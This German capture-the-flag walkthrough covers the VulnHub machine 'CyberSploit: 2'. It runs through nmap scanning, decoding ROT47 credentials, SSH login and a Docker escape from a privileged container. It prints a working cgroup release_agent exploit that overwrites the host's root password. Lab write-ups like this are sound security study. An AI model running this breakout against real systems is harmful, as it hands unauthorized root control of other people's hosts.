VM: CyberSploit: 2
Quelle:www.vulnhub.com
Ziel: Kontrolle übernehmen und flag.txt auslesen.
Tools: NMAP
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Exploit Using, Dekodieren, Docker breakout
Schritt 1: Scanning
Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.
Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP
welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP
installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.
Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24
scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.
Bei mir wurde der VM die IP 192.168.178.156
(rot unterstrichen) zugewiesen.
Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.156
gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.
Wie auf dem Bild zu sehen ist, wurden mehrere offene Ports ermittelt:
Port | Service |
22 | SSH |
80 | HTTP |
Schritt 2: Enumeration
Nachdem wir die offenen Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server an. Dazu geben wir einfach die IP, die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.http://192.168.178.156
Hier bekommen wir eine statische Seite zu sehen auf welcher in einer Tabelle Benutzernamen, Passwörter und Internetdienste aufgelistet sind.
Dabei fällt auf, dass unter dem Nr. 4 angezeigte Daten ungewöhnlich aussehen. Gucken wir uns den Quellcode der Seite an. Hier finden wir keine besonders nützlichen Informationen außer einem Kommentar:
Bei ROT47 handelt es sich um eine Kodierungsmethode in welcher die Zeichentabelle um 47 Zeichen Verschoben ist. Nachdem wir die unter dem Nr. 4 angezeigte Daten mit Hilfe eines beliebigen RO47 dekodieren, bekommen wir folgende Zugangsdaten:
Username | Password |
shailendra | cybersploit1 |
Schritt 3: Infiltration
Da wir keine weiteren Anhaltspunkte haben, versuchen wir mit den Zugangsdaten eine SSH-Verbindung zu dem Host aufzubauen.
Der Verbindungsversuch war erfolgreich. In dem Host Verzeichnis finden wir eine hint.txt Datei wo nur ein einziges Wort drin steht „docker“. Prüfen wir ob auf dem Host Docker läuft und ob wir Berechtigungen haben mit den Container zu arbeiten.
docker images
//Zeigt uns vorhandene Images andocker ps
//Zeigt uns laufende Container andocker ps -a
//Zeigt uns alle Container andocker start ContainerID
//Startet den Containerdocker inspect ContainerID
//Zeig uns die Konfiguration von dem Container andocker run
// Erstellt ein neuen Container
Wie wir mit „docker ps -a
“ sehen können, existieren schon ein Paar Container.
Versuchen wir ein Container zu erstellen und den mit privilegierten Rechten zu starten.
docker run --rm -it --privileged busybox sh
Damit erstellen und starten wir einen Container in privilegiertem Modus aus dem Image "busybox"
mit Befehl "sh"
und holen uns die Session.
Jetzt müssen wir nur für unsere Bedürfnisse angepasstes POC ausführen um die Kontrolle über das System zu erlangen.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'echo -e "123\n123" | passwd root > $host_path/output' >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Am Ende verlassen wir den Container und prüfen die Ausgabe von unserem Befehl in der Datei /output
Wie wir sehen können, konnten wir das Passwort von Root ändern und können damit die komplette Kontrolle über den Server übernehmen.